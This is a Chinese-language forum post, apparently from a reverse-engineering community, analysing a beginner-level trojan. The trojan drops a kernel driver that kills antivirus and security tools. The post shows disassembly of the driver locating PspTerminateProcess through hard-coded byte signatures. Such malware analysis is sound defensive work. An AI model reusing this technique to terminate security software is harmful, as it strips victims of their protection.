-
-
[原创]分析个性感小马
-
发表于: 2011-8-2 12:04
-
昨天发了一篇被判定为YJ贴了。。
，希望这篇不会。。。
马比较简单，适合新手。
先说一下行为：exe文件会释放Pcix32.sys amd32_.sys atax32.sys三个文件，但是后两个其实只是地一个的拷贝。sys文件负责监控各种杀毒软件和安全工具的启动，一旦发现，马上kill。
1。exe行为。
这里只写思路，详细请参考idb文件和自己跟，嘎嘎。
首先获取系统drivers目录，然后释放Pcix32.sys到这个目录下，期间拷贝各种副本。
还有，exe会检测是否有还原精灵，有的话会做相应处理，不过本人太懒。。懒得搭环境，这部分有兴趣的跟一下吧：）
如果没有还原精灵的话，就加载驱动。
最后有一个注入的行为，也没仔细跟：D
2。sys
这个是感兴趣的，贴代码：
.text:00010B34 lea eax, [ebp+SystemInformation] .text:00010B37 push eax ; ReturnLength .text:00010B38 push 0 ; SystemInformationLength .text:00010B3A push eax ; SystemInformation .text:00010B3B push 0Bh ; SystemInformationClass .text:00010B3D mov edi, ds:__imp_ZwQuerySystemInformation .text:00010B43 call edi ; __imp_ZwQuerySystemInformation .text:00010B45 push [ebp+SystemInformation] ; NumberOfBytes .text:00010B48 push 1 ; PoolType .text:00010B4A call ds:ExAllocatePool
text:00010B5A push 0 ; ReturnLength .text:00010B5C push [ebp+SystemInformation] ; SystemInformationLength .text:00010B5F push esi ; SystemInformation .text:00010B60 push 0Bh ; SystemInformationClass .text:00010B62 call edi ; __imp_ZwQuerySystemInformation .text:00010B64 test eax, eax .text:00010B66 jl short loc_10BDE .text:00010B68 mov ebx, [esi+0Ch] .text:00010B6B mov edi, [esi+10h] .text:00010B6E add edi, ebx .text:00010B70 push 0 ; Tag .text:00010B72 push esi ; P .text:00010B73 call ds:ExFreePoolWithTag .text:00010B79 mov esi, ebx .text:00010B7B .text:00010B7B loc_10B7B: ; CODE XREF: sub_10B28+BFj .text:00010B7B cmp esi, edi .text:00010B7D ja short loc_10BDE .text:00010B7F push esi ; VirtualAddress .text:00010B80 call ds:MmIsAddressValid .text:00010B86 test al, al .text:00010B88 jz short loc_10BE6 .text:00010B8A lea ebx, [esi+4] .text:00010B8D push ebx ; VirtualAddress .text:00010B8E call ds:MmIsAddressValid;测试地址是否可用，防止BSOD。。。 .text:00010B94 test al, al .text:00010B96 jz short loc_10BE6 .text:00010B98 mov eax, 8B55FF8Bh：google一下这个值吧，发现是PspTerminateProcess .text:00010B9D cmp [esi], eax .text:00010B9F jnz short loc_10BE6 .text:00010BA1 mov eax, 0CEC83ECh .text:00010BA6 cmp [ebx], eax .text:00010BA8 jnz short loc_10BE6 .text:00010BAA mov eax, 0FFF84D83h .text:00010BAF cmp [esi+8], eax .text:00010BB2 jnz short loc_10BE6 .text:00010BB4 mov eax, 7D8B5756h .text:00010BB9 cmp [esi+0Ch], eax .text:00010BBC jnz short loc_10BE6 .text:00010BBE and [ebp+ms_exc.disabled], 0 .text:00010BC2 mov [ebp+var_20], esi .text:00010BC5 mov [ebp+ms_exc.disabled], 0FFFFFFFEh .text:00010BCC mov eax, esi；保存函数地址
.text:00010A40 call _GetPspTerminateProcessAddress .text:00010A45 mov PspTerminateProcess, eax .text:00010A4A test eax, eax .text:00010A4C jnz short loc_10A8F .text:00010A4E call sub_10568
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
37k~~
|
|
|
|
|
|
求原文地址～～
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
